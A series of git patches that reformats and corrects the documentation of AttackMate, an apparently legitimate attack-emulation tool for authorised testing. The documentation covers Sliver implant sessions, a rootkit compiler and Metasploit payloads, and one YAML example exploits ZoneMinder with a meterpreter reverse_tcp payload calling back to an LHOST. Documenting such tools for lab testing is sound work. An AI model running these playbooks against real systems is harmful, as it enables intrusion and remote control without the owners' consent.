a/docs/source/playbook/commands/loop.rst +++ b/docs/source/playbook/commands/loop.rst @@ -62,7 +62,7 @@ Configuration condition defined in until() is met. :type: str - :required: ``True`` + :required: True Examples: @@ -77,14 +77,14 @@ Configuration Supports the same operators as :confval:`only_if`. :type: str - :required: ``False`` + :required: False .. confval:: commands The list of commands to execute during each iteration of the loop. These commands are executed once per iteration, with loop-specific variables (`$LOOP_ITEM` or `$LOOP_INDEX`) available for substitution within these commands. :type: list[Command] - :required: ``True`` + :required: True Loop Variables diff --git a/docs/source/playbook/commands/mktemp.rst b/docs/source/playbook/commands/mktemp.rst index c7fba5f9..8420308b 100644 --- a/docs/source/playbook/commands/mktemp.rst +++ b/docs/source/playbook/commands/mktemp.rst @@ -43,4 +43,4 @@ commands. temporary file or directory will be stored (without the leading ``$``). :type: str - :required: ``True`` + :required: True diff --git a/docs/source/playbook/commands/sliver-session.rst b/docs/source/playbook/commands/sliver-session.rst index 515950a2..fd913709 100644 --- a/docs/source/playbook/commands/sliver-session.rst +++ b/docs/source/playbook/commands/sliver-session.rst @@ -20,7 +20,7 @@ Execute commands within an active Sliver implant session. All commands require a generated and deployed previously via the :ref:`sliver` generate_implant command. :type: str - :required: ``True`` + :required: True File System ----------- @@ -44,7 +44,7 @@ List files and directories on the remote host. Path to list all files. :type: str - :required: ``True`` + :required: True cd @@ -66,7 +66,7 @@ Change the working directory of the active session. Path to change to :type: str - :required: ``True`` + :required: True @@ -89,7 +89,7 @@ Create a remote directory. Path to the directory to create. :type: str - :required: ``True`` + :required: True pwd @@ -123,7 +123,7 @@ Delete a remote file or directory. Path to the file to remove. :type: str - :required: ``True`` + :required: True .. confval:: recursive @@ -159,14 +159,14 @@ Download a file or directory from the remote system. Directories will be downloa Path to the file or directory to download. :type: str - :required: ``True`` + :required: True .. confval:: local_path Local path where the downloaded file will be saved. :type: str - :required: ``False`` + :required: False :default: ``.`` .. confval:: recurse @@ -195,7 +195,7 @@ Upload a file to the remote system. Destination path on the remote host. :type: str - :required: ``True`` + :required: True .. confval:: local_path @@ -318,7 +318,7 @@ Execute a program on the remote host. Command to execute :type: str - :required: ``True`` + :required: True .. confval:: args @@ -351,7 +351,7 @@ Kill a process on the remote host by PID. PID of the process to kill. :type: int - :required: ``True`` + :required: True .. confval:: force @@ -382,7 +382,7 @@ Dump the memory of a running process to a local file. Target PID. :type: int - :required: ``True`` + :required: True .. confval:: local_path @@ -390,4 +390,4 @@ Dump the memory of a running process to a local file. Save to file. :type: str - :required: ``True`` + :required: True diff --git a/docs/source/playbook/commands/ssh.rst b/docs/source/playbook/commands/ssh.rst index f108c68e..0a8248d6 100644 --- a/docs/source/playbook/commands/ssh.rst +++ b/docs/source/playbook/commands/ssh.rst @@ -3,6 +3,7 @@ ssh === Execute commands on a remote host via SSH. + .. note:: This command caches all settings so diff --git a/docs/source/playbook/structure.rst b/docs/source/playbook/structure.rst index e77999b6..7f943562 100644 --- a/docs/source/playbook/structure.rst +++ b/docs/source/playbook/structure.rst @@ -6,7 +6,6 @@ AttackMate playbooks must be written in valid `YAML-format `_ .. code-block:: yaml - ### commands: - type: shell cmd: nmap www.vulnerable-system.tld @@ -18,7 +17,6 @@ placeholders that can be referenced throughout the ``commands`` section: .. code-block:: yaml - ### vars: TARGET: www.vulnerable-system.tld NMAP: /usr/bin/nmap diff --git a/docs/source/preparation/index.rst b/docs/source/preparation/index.rst index 4d4e6691..7d47e43a 100644 --- a/docs/source/preparation/index.rst +++ b/docs/source/preparation/index.rst @@ -4,8 +4,8 @@ Preparation Even though AttackMate can be used out of the box, for some commands it is necessary to install and set up the corresponding tools. The following -pages explain how to setup and install :ref:`Sliver ` -and :ref:`Metasploit `, as well as :ref:`Playwright ` for browser-based commands. +pages explain how to setup and install :ref:`Sliver ` ( an open-source C2 framework for post-exploitation and implant management), +:ref:`Metasploit ` (a penetration testing framework for exploiting vulnerabilities and managing sessions), as well as :ref:`Playwright ` for browser-based commands. .. toctree:: :maxdepth: 1 From 2080caca51a18a630fc4d2e6d19928e77f16fb27 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 13:43:22 +0100 Subject: [PATCH 34/40] formatting --- docs/source/configuration/msf_config.rst | 2 +- docs/source/developing/architecture.rst | 2 +- docs/source/developing/contribution.rst | 23 +++++++++---------- docs/source/developing/development.rst | 7 +++--- docs/source/playbook/commands/browser.rst | 16 ++++++------- docs/source/playbook/commands/father.rst | 2 +- docs/source/playbook/commands/loop.rst | 15 ++++++------ docs/source/playbook/commands/msf-session.rst | 14 +++++------ docs/source/playbook/commands/payload.rst | 2 +- docs/source/playbook/commands/regex.rst | 11 ++++----- docs/source/playbook/commands/remote.rst | 8 +++---- docs/source/playbook/commands/setvar.rst | 7 ++++-- docs/source/playbook/commands/shell.rst | 10 ++++---- .../playbook/commands/sliver-session.rst | 9 ++++---- docs/source/playbook/commands/sliver.rst | 8 ++----- docs/source/playbook/commands/ssh.rst | 10 +++++--- 16 files changed, 75 insertions(+), 71 deletions(-) diff --git a/docs/source/configuration/msf_config.rst b/docs/source/configuration/msf_config.rst index 015f965b..afddee4a 100644 --- a/docs/source/configuration/msf_config.rst +++ b/docs/source/configuration/msf_config.rst @@ -39,7 +39,7 @@ msf_config Enables encryption for the RPC connection. :type: bool - :default: True + ::default: ``True`` .. confval:: password diff --git a/docs/source/developing/architecture.rst b/docs/source/developing/architecture.rst index 5da12c27..ca860d2f 100644 --- a/docs/source/developing/architecture.rst +++ b/docs/source/developing/architecture.rst @@ -12,7 +12,7 @@ C1 – System Context Diagram :width: 80% :alt: System Context Diagram -The System Context diagram shows how **AttackMate** fits into its environment. It illustrates the main user +The System Context diagram shows how AttackMate fits into its environment. It illustrates the main user (e.g., a pentester or researcher), the software systems it interacts with (e.g., vulnerable target systems, external frameworks like Metasploit or Sliver), and the nature of those interactions. diff --git a/docs/source/developing/contribution.rst b/docs/source/developing/contribution.rst index 26128f00..cd79fe4a 100644 --- a/docs/source/developing/contribution.rst +++ b/docs/source/developing/contribution.rst @@ -9,8 +9,8 @@ We're happily taking patches and other contributions. Below is a summary of the Bug reports and enhancement requests ==================================== -Bug reports and enhancement requests are an important part of making `attackmate` more stable and are curated through Github issues. -Before reporting an issue, check our backlog of open issues to see if anybody else has already reported it. +Bug reports and enhancement requests are an important part of making AttackMate more stable and are curated through Github issues. +Before reporting an issue, check our backlog of open issues to see if anybody else has already reported it. If that is the case, you might be able to give additional information on that issue. Bug reports are very helpful to us in improving the software, and therefore, they are very welcome. It is very important to give us at least the following information in a bug report: @@ -18,9 +18,9 @@ at least the following information in a bug report: 1. Description of the bug. Describe the problem clearly. 2. Steps to reproduce. With the following configuration, go to.., click.., see error 3. Expected behavoir. What should happen? -4. Environment. What was the environment for the test(version, browser, etc..) +4. Environment. What was the environment for the test (version, browser, etc..) -For reporting security-related issues, see `SECURITY.md`_ +For reporting security-related issues, see `SECURITY.md`_ .. _SECURITY.md: https://github.com/ait-testbed/attackmate/blob/main/SECURITY.md @@ -35,7 +35,7 @@ To contribute to this project, you must fork the project and create a pull reque 1. Fork ------- -Go to `https://github.com/ait-testbed/attackmate.git `_ and click on fork. Please note that you must login first to GitHub. +Go to `https://github.com/ait-testbed/attackmate.git `_ and click on fork. Please note that you must login to GitHub first. 2. Clone -------- @@ -59,11 +59,11 @@ Every single workpackage should be developed in it's own feature-branch. Use a n 4. Develop your feature and improvements in the feature-branch -------------------------------------------------------------- -Please make sure that you commit only improvements that are related to the workpage you created the feature-branch for. See the section :ref:`Development ` for detailed information about how to develope code for `attackmate`. +Please make sure that you commit only improvements that are related to the workpage you created the feature-branch for. See the section :ref:`Development ` for detailed information about how to develope code for AttackMate. .. note:: - `attackmate` uses `prek`_ to ensure code quality. Make sure that you use it properly. + AttackMate uses `prek`_ to ensure code quality. Make sure to use it properly. .. _prek: https://github.com/j178/prek @@ -100,7 +100,7 @@ After that we can squash the last n commits together: git rebase -i HEAD~n -Finally you can push the changes to YOUR github-repository: +Finally you can push the changes to YOUR GitHub repository: :: @@ -113,7 +113,7 @@ Additional documentation: 7. Submit your pull-request --------------------------- -Use the GitHub-Webinterface to create a pull-request. Make sure that the target-repository is `ait-testbed/attackmate`. +Use the GitHub webinterface to create a pull-request. Make sure that the target-repository is `ait-testbed/attackmate`. If your pull-request was accepted and merged into the development branch continue with :ref:`Update your local main branch `. If it wasn't accepted, read the comments and fix the problems. Before pushing the changes make sure that you squashed them with your last commit: @@ -140,12 +140,11 @@ Additional infos: * `https://www.atlassian.com/git/tutorials/merging-vs-rebasing `_ -9. Update your main branch in your github-repository +9. Update your main branch in your GitHub repository ---------------------------------------------------- -Please make sure that you updated your local development branch as described in section 8. above. After that push the changes to your github-repository to keep it up2date: +Please make sure that you updated your local development branch as described in section 8 above. Then push the changes to your GitHub repository to keep it up2date: :: git push - diff --git a/docs/source/developing/development.rst b/docs/source/developing/development.rst index 77b2d860..3462111a 100644 --- a/docs/source/developing/development.rst +++ b/docs/source/developing/development.rst @@ -4,12 +4,13 @@ Development =========== -This section describes how to setup a development environment and how to contribute to `attackmate`. +This section describes how to setup a development environment and how to contribute to AttackMate. .. note:: - Read the :ref:`Contribution Guide ` to follow and understand the development workflow. - + Read the :ref:`Contribution Guide ` to follow and understand the development workflow, and familiarise yourself with :ref:`Adding a New Command ` + and :ref:`Adding a New Executor ` before getting started. + Setup a development environment diff --git a/docs/source/playbook/commands/browser.rst b/docs/source/playbook/commands/browser.rst index f51a1d54..ed48a7a6 100644 --- a/docs/source/playbook/commands/browser.rst +++ b/docs/source/playbook/commands/browser.rst @@ -101,14 +101,14 @@ Execute commands using a Playwright-managed Chromium browser. This executor can Useful for CI/CD pipelines or servers without a GUI. :type: bool - :default: false + :default: ``False`` - Example: + Example: - .. code-block:: yaml + .. code-block:: yaml - - type: browser - cmd: visit - url: "https://example.com" - creates_session: ci_session - headless: true + - type: browser + cmd: visit + url: "https://example.com" + creates_session: ci_session + headless: true diff --git a/docs/source/playbook/commands/father.rst b/docs/source/playbook/commands/father.rst index 3d1717e9..e0116368 100644 --- a/docs/source/playbook/commands/father.rst +++ b/docs/source/playbook/commands/father.rst @@ -2,7 +2,7 @@ father ====== -The Fahter LD_PRELOAD rootkit requires to compile the config settings into the binary. +The Father LD_PRELOAD rootkit requires to compile the config settings into the binary. This command compiles the binary and stores the path in the variable ``LAST_FATHER_PATH``. If ``local_path`` is not defined, the command will create a temporary directory and copy the sources into the directory before compiling the rootkit. diff --git a/docs/source/playbook/commands/loop.rst b/docs/source/playbook/commands/loop.rst index f1041201..1f16da14 100644 --- a/docs/source/playbook/commands/loop.rst +++ b/docs/source/playbook/commands/loop.rst @@ -5,9 +5,10 @@ loop Execute a sequence of commands repeatedly, either by iterating over a list of values, a numerical range, or until a condition is met. This is useful when the number of iterations is not known in advance, for example, when processing results from a network scan. + .. note:: - The loop command works with two primary loop conditions: iterating over a list of values (`items`) or iterating over a numerical range (`range`). + The loop command works with two primary loop conditions: iterating over a list of values (``items()``) or iterating over a numerical range (``range()``). .. code-block:: yaml @@ -41,14 +42,14 @@ Loop Modes **items(LIST)**: Iterates over the elements of a list and substitutes each element into the commands. -The current item is accessible as the `$LOOP_ITEM` variable. +The current item is accessible as the ``$LOOP_ITEM`` variable. **range(start, end)** -Iterates over a range of integers ``start`` (inclusive) to ``end`` (exclusive). The current index is accessible as the `$LOOP_INDEX` variable. +Iterates over a range of integers ``start`` (inclusive) to ``end`` (exclusive). The current index is accessible as the ``$LOOP_INDEX`` variable. **until(condition)** Iterates indefinitely until the condition is evaluates to ``True``, checked before every command in the loop body. -Variables in cmd section of an until loop command until($VAR1 == $VAR2) will be substituted from the variable store on every iteration of the loop. +Variables in cmd section of an until loop command until(``$VAR1 == $VAR2``) will be substituted from the variable store on every iteration of the loop. The current iteration count is available as ``$LOOP_INDEX``. Example: ``until($PORT == 7)`` @@ -59,14 +60,14 @@ Configuration .. confval:: cmd The loop condition. Defines how the loop iterates, either over a list or a range of values, or idefinitely until the - condition defined in until() is met. + condition defined in ``until()`` is met. :type: str :required: True Examples: - - **items(LISTA)**: Iterate over the elements of a list named `LISTA`. + - **items(LISTA)**: Iterate over the elements of a list named ``LISTA``. - **range(0, 10)**: Iterate over a range from 0 to 9. - **until($PORT == 7)**: Iterate until the condition is met @@ -81,7 +82,7 @@ Configuration .. confval:: commands - The list of commands to execute during each iteration of the loop. These commands are executed once per iteration, with loop-specific variables (`$LOOP_ITEM` or `$LOOP_INDEX`) available for substitution within these commands. + The list of commands to execute during each iteration of the loop. These commands are executed once per iteration, with loop-specific variables (``$LOOP_ITEM`` or ``$LOOP_INDEX``) available for substitution within these commands. :type: list[Command] :required: True diff --git a/docs/source/playbook/commands/msf-session.rst b/docs/source/playbook/commands/msf-session.rst index 028c6545..ed18e2fb 100644 --- a/docs/source/playbook/commands/msf-session.rst +++ b/docs/source/playbook/commands/msf-session.rst @@ -16,13 +16,13 @@ Execute commands in an active Meterpreter session previously opened by an commands: # First, exploit a vulnerability and create a session: - type: msf-module - cmd: exploit/unix/webapp/zoneminder_snapshots - creates_session: foothold - options: - RHOSTS: 192.42.0.254 - payload: cmd/unix/python/meterpreter/reverse_tcp - payload_options: - LHOST: 192.42.2.253 + cmd: exploit/unix/webapp/zoneminder_snapshots + creates_session: foothold + options: + RHOSTS: 192.42.0.254 + payload: cmd/unix/python/meterpreter/reverse_tcp + payload_options: + LHOST: 192.42.2.253 # Then, execute a command in the session: - type: msf-session diff --git a/docs/source/playbook/commands/payload.rst b/docs/source/playbook/commands/payload.rst index f05dfc96..7a2ee073 100644 --- a/docs/source/playbook/commands/payload.rst +++ b/docs/source/playbook/commands/payload.rst @@ -94,7 +94,7 @@ Generate a Metasploit payload and save it to a file. :type: bool :default: ``False`` - .. confval:: iter +.. confval:: iter Number of times to apply the encoder. diff --git a/docs/source/playbook/commands/regex.rst b/docs/source/playbook/commands/regex.rst index f7cf0d7c..69496a3f 100644 --- a/docs/source/playbook/commands/regex.rst +++ b/docs/source/playbook/commands/regex.rst @@ -3,14 +3,14 @@ regex ===== Parse and transform variables using regular expressions. For more information -about regular expressions and regex syntax see `Python Regex `_ +about regular expressions and regex syntax see `Python Regex `_. .. note:: This command does not modify ``RESULT_STDOUT``. -The following example extracts a port number from the output of a shell command and stores it in the variable "UNREALPORT": +The following example extracts a port number from the output of a shell command and stores it in the variable ``UNREALPORT``: .. code-block:: yaml @@ -27,8 +27,7 @@ The following example extracts a port number from the output of a shell command cmd: "Port: $UNREALPORT" -Using ``mode: split``, a string can be tokenized by a delimiter, in this case, -whitespace: +Using ``mode: split``, a string can be tokenized by a delimiter, in this case, whitespace ``"\ +"``: .. code-block:: yaml @@ -66,8 +65,8 @@ whitespace: :default: ``findall`` .. confval:: replace - - This variable must be set for sub mode. It holds the replacement-string for the substitution. +`` + This variable must be set for ``mode: sub``. It holds the replacement-string for the substitution. :type: str :default: ``None`` diff --git a/docs/source/playbook/commands/remote.rst b/docs/source/playbook/commands/remote.rst index 427386e5..8ec2d556 100644 --- a/docs/source/playbook/commands/remote.rst +++ b/docs/source/playbook/commands/remote.rst @@ -3,8 +3,8 @@ remote ====== Execute playbooks or commands on a remote AttackMate instance. -Remote conenctions are defined in the ``remote_config`` section of the configuration file. -If no connection is specified, the first entry in the ``remote_config`` section is used as default. +Remote connections are defined in the ``remote_config`` section of the configuration file. +If no ``connection`` is specified, the first entry in the ``remote_config`` section is used as default. .. warning:: @@ -90,9 +90,9 @@ Options .. confval:: remote_command - An inline AttackMate command dto execute on the remote instance. + An inline AttackMate command to execute on the remote instance. Supports any command type that the remote AttackMate instance is configured to handle - (e.g., ``shell``, ``sliver``, etc., EXCEPT ``remote`` itself). Required when ``cmd`` is ``execute_command``. + (e.g., ``type: shell``, ``type: sliver``, etc., EXCEPT ``type: remote`` itself). Required when ``cmd`` is ``execute_command``. :type: RemotelyExecutableCommand diff --git a/docs/source/playbook/commands/setvar.rst b/docs/source/playbook/commands/setvar.rst index 2b16306f..316a2b7a 100644 --- a/docs/source/playbook/commands/setvar.rst +++ b/docs/source/playbook/commands/setvar.rst @@ -36,8 +36,7 @@ transforming existing variables. .. confval:: encoder - Encode or decode the value of ``cmd`` before storing it in ``variable``.. - Note that if encoding fails, the plain value is stored and a warning is printed. + Encode or decode the value of ``cmd`` before storing it in ``variable``. Supported values: @@ -49,6 +48,10 @@ transforming existing variables. :type: str['base64-encoder', 'base64-decoder', 'rot13', 'urlencoder', 'urldecoder'] + .. note:: + + Note that if encoding fails, the plain value is stored and a warning is printed. + Example: .. code-block:: yaml diff --git a/docs/source/playbook/commands/shell.rst b/docs/source/playbook/commands/shell.rst index 404a9edc..ab9bc8f0 100644 --- a/docs/source/playbook/commands/shell.rst +++ b/docs/source/playbook/commands/shell.rst @@ -33,7 +33,12 @@ Interactive Mode .. confval:: interactive - Run the command in interactive mode. Instead of waiting for the command to finish, + Run the command in interactive mode. + + :type: bool + :default: ``False`` + + Instead of waiting for the command to finish, AttackMate reads output until no new output appears for :confval:`command_timeout` seconds. Useful for commands that require follow-up keystrokes (e.g. opening ``vim`` and sending input in a subsequent command). @@ -44,9 +49,6 @@ Interactive Mode Commands executed in interactive mode **MUST** end with a newline character (``\n``). - :type: bool - :default: ``False`` - .. code-block:: yaml commands: diff --git a/docs/source/playbook/commands/sliver-session.rst b/docs/source/playbook/commands/sliver-session.rst index fd913709..2ff9d0d0 100644 --- a/docs/source/playbook/commands/sliver-session.rst +++ b/docs/source/playbook/commands/sliver-session.rst @@ -17,7 +17,7 @@ Execute commands within an active Sliver implant session. All commands require a .. confval:: session Name of the Sliver implant session to operate in. The implant must have been - generated and deployed previously via the :ref:`sliver` generate_implant command. + generated and deployed previously via the sliver :ref:`generate_implant ` command. :type: str :required: True @@ -289,7 +289,6 @@ List processes of the remote system. .. code-block:: yaml - ### commands: - type: sliver-session cmd: ps @@ -315,20 +314,20 @@ Execute a program on the remote host. .. confval:: exe - Command to execute + Command to execute. :type: str :required: True .. confval:: args - List of command arguments + List of command arguments. :type: List[str] .. confval:: output - Capture command output + Capture command output. :type: bool :default: ``True`` diff --git a/docs/source/playbook/commands/sliver.rst b/docs/source/playbook/commands/sliver.rst index e7a97d8a..9a061248 100644 --- a/docs/source/playbook/commands/sliver.rst +++ b/docs/source/playbook/commands/sliver.rst @@ -20,7 +20,6 @@ Start an HTTPS listener on the Sliver server. .. code-block:: yaml - ### commands: - type: sliver cmd: start_https_listener @@ -110,7 +109,7 @@ generate_implant ---------------- Generates a new sliver binary and saves the implant to a given path or to /tmp/. -The path to the implant is saved and can be retrieved from the builtin variable $LAST_SLIVER_IMPLANT. +The path to the implant is saved and can be retrieved from the builtin variable ``$LAST_SLIVER_IMPLANT``. .. code-block:: yaml @@ -178,7 +177,7 @@ The path to the implant is saved and can be retrieved from the builtin variable Generate a beacon-mode implant instead of a session-mode implant. :type: bool - :default: False + :default: ``False`` .. confval:: RunAtLoad @@ -193,6 +192,3 @@ The path to the implant is saved and can be retrieved from the builtin variable :type: bool :default: ``False`` - - :type: bool - :default: False diff --git a/docs/source/playbook/commands/ssh.rst b/docs/source/playbook/commands/ssh.rst index 0a8248d6..54b49428 100644 --- a/docs/source/playbook/commands/ssh.rst +++ b/docs/source/playbook/commands/ssh.rst @@ -133,7 +133,12 @@ Interactive Mode .. confval:: interactive - Run the command in interactive mode. Instead of waiting for the command to finish, + Run the command in interactive mode. + + :type: bool + :default: ``False`` + + Instead of waiting for the command to finish, AttackMate reads output until no new output appears for :confval:`command_timeout` seconds, or until the output ends with one of the strings in :confval:`prompts`. @@ -144,8 +149,7 @@ Interactive Mode Commands executed in interactive mode **MUST** end with a newline character (``\n``). - :type: bool - :default: ``False`` + .. code-block:: yaml From 90b3f2ec2a933b2f068e095ac8166542135da8a4 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 14:11:56 +0100 Subject: [PATCH 35/40] links and consistency --- README.md | 15 +++++++------ docs/source/basic.rst | 4 ++-- docs/source/how.rst | 2 +- docs/source/installation/ansible.rst | 2 +- docs/source/installation/docker.rst | 2 +- docs/source/installation/manual.rst | 2 +- docs/source/installation/sliverfix.rst | 2 +- docs/source/playbook/commands/index.rst | 30 +++++++++++++------------ docs/source/playbook/commands/loop.rst | 2 ++ docs/source/playbook/vars.rst | 13 ++++++----- 10 files changed, 41 insertions(+), 33 deletions(-) diff --git a/README.md b/README.md index 5f6395d7..b4327f5b 100644 --- a/README.md +++ b/README.md @@ -51,17 +51,19 @@ $ uv run attackmate playbook.yml ## Documentation -Please take a look at our documentation for how to install and use attackmate: +Please take a look at our documentation on how to install and use attackmate: * [Installation](https://ait-testbed.github.io/attackmate/main/installation/index.html) * [Documentation](https://ait-testbed.github.io/attackmate/main/index.html) * [Command Reference](https://ait-testbed.github.io/attackmate/main/playbook/commands/index.html) * [Example Playbooks](https://ait-testbed.github.io/attackmate/main/playbook/examples.html) -* [Arxiv Paper](https://arxiv.org/pdf/2601.14108) + +## Publications +* [AttackMate: Realistic Emulation and Automation of Cyber Attack Scenarios Across the Kill Chain](https://arxiv.org/pdf/2601.14108) on Arxiv ## Contribution -We're happily taking patches and other contributions. Please see the following links for how to get started: +We're happily taking patches and other contributions. Please see the following links on how to get started: - [Contribution Guide](https://ait-testbed.github.io/attackmate/main/developing/contribution.html) @@ -76,13 +78,12 @@ information may result in criminal charges. ## Security -AttackMate should only be executed against own test or training systems. -For this reason, every software bug is treated equally, regardless of -whether it is security relevant or not. +AttackMate should only be executed against systems you own or have explicit permission to test. +For this reason, all software bugs are treated with equal priority, regardless of whether they have security implications. *Please note that AttackMate could easily be executed in a dangerous way. For example, by parsing the RESULT_STDOUT of a malicious server. The server response could lead to -a command injection. Keep that in mind! +a command injection. Keep that in mind and always treat external input with caution! ## License diff --git a/docs/source/basic.rst b/docs/source/basic.rst index ecdd48c9..a3b96ebb 100644 --- a/docs/source/basic.rst +++ b/docs/source/basic.rst @@ -48,7 +48,7 @@ and a conditional nikto scan: cmd: nikto -host $TARGET -port $PORT only_if: $PORT == 8000 -.. warning:: +.. note:: This playbook requires ``nmap`` and ``nikto`` to be installed, and a web server running on ``localhost:8000``. You can start one with: @@ -113,7 +113,7 @@ how to use variables: Variables are substituted at runtime using ``$VARNAME`` sy As soon as nmap finishes, its output is automatically stored in the built-in variable ``RESULT_STDOUT``. The regex command searches this output using the expression ``(\d+)/tcp open\s+http``. If it matches, the captured port number is stored in the volatile variable ``$MATCH_0`` (deleted after the regex-command finishes), -which is then assigned to the persistent variable``PORT`` via the ``output`` mapping: +which is then assigned to the persistent variable ``PORT`` via the ``output`` mapping: .. code-block:: yaml diff --git a/docs/source/how.rst b/docs/source/how.rst index a42cce01..80e8da4e 100644 --- a/docs/source/how.rst +++ b/docs/source/how.rst @@ -12,6 +12,6 @@ commands can be found in the :ref:`commands ` reference. AttackMate executes real attacks and requires intentionally vulnerable or dedicated test systems. Never run AttackMate against systems - you do not own or have explicit permission to test. + you do not own or do not have explicit permission to test. .. image:: images/attackmate-schema.png diff --git a/docs/source/installation/ansible.rst b/docs/source/installation/ansible.rst index d8d24e5e..c5300056 100644 --- a/docs/source/installation/ansible.rst +++ b/docs/source/installation/ansible.rst @@ -5,7 +5,7 @@ Installation with Ansible ========================= It is possible to automatically install AttackMate using -Ansible. The `ansible-role `_ also deploys the sliver-fix. +Ansible. The `ansible-role `_ also deploys the :ref:`sliver-fix`. .. note:: diff --git a/docs/source/installation/docker.rst b/docs/source/installation/docker.rst index 3aa808d0..5fabe93b 100644 --- a/docs/source/installation/docker.rst +++ b/docs/source/installation/docker.rst @@ -22,4 +22,4 @@ Build the image using the following command: .. note:: Docker will also compile grpcio from sources in order to make - the Sliver API work. This might take a while. + the Sliver API work (see :ref:`sliver-fix`). This might take a while. diff --git a/docs/source/installation/manual.rst b/docs/source/installation/manual.rst index 94f18b0f..8c30b924 100644 --- a/docs/source/installation/manual.rst +++ b/docs/source/installation/manual.rst @@ -56,4 +56,4 @@ Run AttackMate via: Please note that you if you install from source you also need to install :ref:`sliver-fix` if you want to use the sliver commands! - The ansible role :ref:`ansible` already includes the sliver-fix. + The Dockerfile and ansible role :ref:`ansible` already include the sliver-fix. diff --git a/docs/source/installation/sliverfix.rst b/docs/source/installation/sliverfix.rst index a02087f8..d342a5a0 100644 --- a/docs/source/installation/sliverfix.rst +++ b/docs/source/installation/sliverfix.rst @@ -12,7 +12,7 @@ the environment variable ``GRPC_PYTHON_BUILD_SYSTEM_OPENSSL=True`` .. note:: - Please note that this fix is already included in the Dockerfile. + Please note that this fix is already included in the Dockerfile and the Ansible role. First install all required build-tools. This example will install the build-tools in Debian-based distributions: diff --git a/docs/source/playbook/commands/index.rst b/docs/source/playbook/commands/index.rst index 42b50ce7..23620e76 100644 --- a/docs/source/playbook/commands/index.rst +++ b/docs/source/playbook/commands/index.rst @@ -4,14 +4,14 @@ Commands ======== -The *'commands-section'* holds a list of AttackMate-commands that are executed sequentially from +The ``commands:`` section of a playbook holds a list of AttackMate commands that are executed sequentially from top to bottom. -Every command, regardless of the type supports the following general options: +Every command, regardless of its type supports the following general options: .. confval:: cmd - Defines the command that should be executed. The meaning of this option varies depending on the type of command. + The command that should be executed. The meaning of this option varies depending on the type of command. :type: str @@ -30,7 +30,7 @@ Every command, regardless of the type supports the following general options: .. confval:: exit_on_error - If ``True``, attackmate will exit with an error if the command returns a non-zero exit code. + Attackmate will exit with an error if the command returns a non-zero exit code. :type: bool :default: ``True`` @@ -100,9 +100,9 @@ Every command, regardless of the type supports the following general options: url: https://www.google.com loop_if_not: ".*bing.*" - .. confval:: loop_count +.. confval:: loop_count - Maximum number of repetitions when *loop_if* or *loop_if_not* is set. + Maximum number of repetitions when ``loop_if* or ``loop_if_not`` is set. :type: int :default: ``3`` @@ -122,8 +122,8 @@ Every command, regardless of the type supports the following general options: .. note:: - The =~ operator is used to check if a string matches a regular expression pattern. - The !~ operator is used to check if a string does not match a regular expression pattern. + The ``=~`` operator is used to check if a string matches a regular expression pattern. + The ``!~`` operator is used to check if a string does **not** match a regular expression pattern. .. code-block:: yaml @@ -153,12 +153,15 @@ Every command, regardless of the type supports the following general options: Execute the command as a background subprocess. When enabled, output is not printed and ``error_if`` / ``error_if_not`` have no effect. + :type: bool + :default: ``False`` + .. note:: - The command in background-mode will change global variables like - RESULT_STDOUT to "Command started in Background" and RESULT_CODE to 0. + The command in background-mode will change the :ref:`builtin variables ` + ``RESULT_STDOUT`` to "Command started in Background" and ``RESULT_CODE`` to 0. - Background mode is not supported for:: + Background mode is not supported for * MsfModuleCommand * IncludeCommand @@ -170,14 +173,13 @@ Every command, regardless of the type supports the following general options: * SSHCommand * SFTPCommand - :type: bool - :default: ``False`` + .. confval:: kill_on_exit - If this command runs in background mode, the option *kill_on_exit* controls + If this command runs in background mode, the option ``kill_on_exit`` controls whether the main process kills the subprocess on exit (``True``) or waits for it to finish (``False``). :type: bool diff --git a/docs/source/playbook/commands/loop.rst b/docs/source/playbook/commands/loop.rst index 1f16da14..1541ea3e 100644 --- a/docs/source/playbook/commands/loop.rst +++ b/docs/source/playbook/commands/loop.rst @@ -1,3 +1,5 @@ +.. _loop: + ==== loop ==== diff --git a/docs/source/playbook/vars.rst b/docs/source/playbook/vars.rst index 0e54c219..335c133c 100644 --- a/docs/source/playbook/vars.rst +++ b/docs/source/playbook/vars.rst @@ -6,16 +6,16 @@ Variables Variables are defined as key-value pairs in the ``vars`` section and can be used as placeholders in command settings. Variable names do not require a ``$`` prefix when -defined in the ``vars`` section, but **must** be prefixed with ``$`` when referenced +defined in the ``vars`` section, but **MUST** be prefixed with ``$`` when referenced in the ``commands`` section. If an environment variable with the prefix ``ATTACKMATE_`` exists with the same name, -it will override the playbook variable. For example, the playbookvariabel $FOO will -be overwritten be environment variabel ``$ATTACKMATE_FOO``. +it will override the playbook variable. For example, the playbook variabel ``$FOO`` will +be overwritten by the environment variabel ``$ATTACKMATE_FOO``. .. code-block:: yaml vars: - # the $-sign is optional here: + # the $-sign is optional here: $SERVER_ADDRESS: 192.42.0.254 $NMAP: /usr/bin/nmap @@ -32,7 +32,10 @@ be overwritten be environment variabel ``$ATTACKMATE_FOO``. .. note:: - Variables in ``cmd`` settings of a ``loop`` command will be substituted on every iteration of the loop, see :ref:`loop` for details. + Variables in ``cmd`` settings of a ``loop`` command will be substituted on every iteration of the loop, see the :ref:`loop` command for details. + + +.. _builtin-variables: Builtin Variables ================= From 9fc3360abcf7c48f075995caf1fc975655ef5fe7 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 14:54:57 +0100 Subject: [PATCH 36/40] add required info for command paramaters --- docs/source/playbook/commands/bettercap.rst | 10 +++++--- docs/source/playbook/commands/browser.rst | 11 +++++++++ docs/source/playbook/commands/debug.rst | 6 ++++- docs/source/playbook/commands/father.rst | 12 +++++++++ docs/source/playbook/commands/httpclient.rst | 10 ++++++++ docs/source/playbook/commands/json.rst | 3 +++ docs/source/playbook/commands/regex.rst | 26 +++++++++++--------- docs/source/playbook/commands/remote.rst | 4 +++ docs/source/playbook/commands/sftp.rst | 3 +++ docs/source/playbook/commands/shell.rst | 7 ++++++ docs/source/playbook/commands/sleep.rst | 2 ++ docs/source/playbook/commands/sliver.rst | 2 +- docs/source/playbook/commands/ssh.rst | 7 ++++++ docs/source/playbook/commands/webserv.rst | 3 +++ 14 files changed, 90 insertions(+), 16 deletions(-) diff --git a/docs/source/playbook/commands/bettercap.rst b/docs/source/playbook/commands/bettercap.rst index 5a02e55e..3063e72c 100644 --- a/docs/source/playbook/commands/bettercap.rst +++ b/docs/source/playbook/commands/bettercap.rst @@ -189,6 +189,7 @@ Get a 